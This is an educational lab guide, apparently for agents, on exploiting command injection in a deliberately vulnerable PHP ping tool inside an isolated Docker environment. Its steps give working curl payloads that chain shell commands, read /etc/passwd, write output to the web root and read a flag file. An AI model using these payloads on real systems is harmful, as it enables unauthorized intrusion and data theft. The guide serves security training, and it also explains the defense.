Exploiting Command Injection Vulnerabilities

Educational Use Only — All techniques described here must only be used in authorized, isolated lab environments. Never use against systems you do not own or have explicit written permission to test.

When to Use

Use this skill during web application penetration tests when an endpoint appears to invoke a system command with user-controlled input (e.g., ping utilities, file converters, DNS lookup tools). It applies in CTF challenges where remote code execution is required to read flag files from the server's filesystem. It is a prerequisite before studying server-side template injection and other RCE primitives.

Prerequisites

• Docker and Docker Compose installed on the host machine
• Basic Linux command-line knowledge (ls, cat, id, whoami)
• Understanding of how web applications pass parameters to backend processes
• Lab: labs/web-application/command-injection — start with agentlab start command-injection

Workflow

Step 1: Start the Lab Environment

Launch the vulnerable PHP web application that exposes a network diagnostic tool passing user input to a shell ping command.

agentlab start command-injection
# App runs at http://localhost:8080 inside the Docker network
# Attacker shell: agentlab exec command-injection bash

Step 2: Identify the Injection Point

Interact with the application normally to understand expected input, then probe for shell metacharacters.

# Normal usage — ping a host
curl "http://target:80/ping?host=127.0.0.1"

# Probe with semicolon to chain a second command
curl "http://target:80/ping?host=127.0.0.1;id"

# Try other separators if semicolons are filtered
curl "http://target:80/ping?host=127.0.0.1|id"
curl "http://target:80/ping?host=127.0.0.1%26%26id"

Step 3: Confirm In-Band Command Injection

If output from the injected command appears in the HTTP response, the injection is in-band.

# Confirm with whoami
curl "http://target:80/ping?host=127.0.0.1;whoami"

# Read /etc/passwd to enumerate system users
curl "http://target:80/ping?host=127.0.0.1;cat%20/etc/passwd"

# List web root for flag files
curl "http://target:80/ping?host=127.0.0.1;ls%20/var/www/html"

Step 4: Test for Blind Command Injection

When the application returns no command output, use time delays or out-of-band channels to confirm injection.

# Time-based: inject a 5-second sleep and measure response time
time curl "http://target:80/ping?host=127.0.0.1;sleep%205"

# Out-of-band: write output to a web-accessible file
curl "http://target:80/ping?host=127.0.0.1;id%20>%20/var/www/html/out.txt"
curl "http://target:80/out.txt"

Step 5: Capture the Flag

Read the flag file from the server filesystem using the confirmed injection vector.

# Locate the flag
curl "http://target:80/ping?host=127.0.0.1;find%20/%20-name%20flag.txt%202>/dev/null"

# Read it
curl "http://target:80/ping?host=127.0.0.1;cat%20/flag.txt"

Step 6: Verify Results

Submit the captured flag to complete the lab challenge.

agentlab verify command-injection "FLAG{...}"

Key Concepts

• Command Injection: A vulnerability class where user input is incorporated into a shell command without proper sanitization, allowing arbitrary OS command execution.
• Shell Metacharacters: Characters such as ;, |, &&, `, $() that the shell interprets as command separators or substitution operators.
• In-Band Injection: The injected command's output is returned directly in the HTTP response body, making exploitation straightforward.
• Blind Command Injection: The application gives no direct output; the attacker infers success via time delays or out-of-band data exfiltration channels.
• Input Sanitization: The correct defense — pass user input only as arguments to execve/subprocess with a fixed command array, never interpolating into a shell string.

Tools

Output

On success, you should observe:

• The id or whoami command output appearing inside the HTTP response body
• Filesystem listing (ls, find) confirming access to server directories
• Contents of /flag.txt or equivalent flag file returned in the response
• Flag captured in the format FLAG{...}

All labs referenced in this skill run in isolated Docker environments with internal: true networks. No internet access. Educational use in authorized environments only.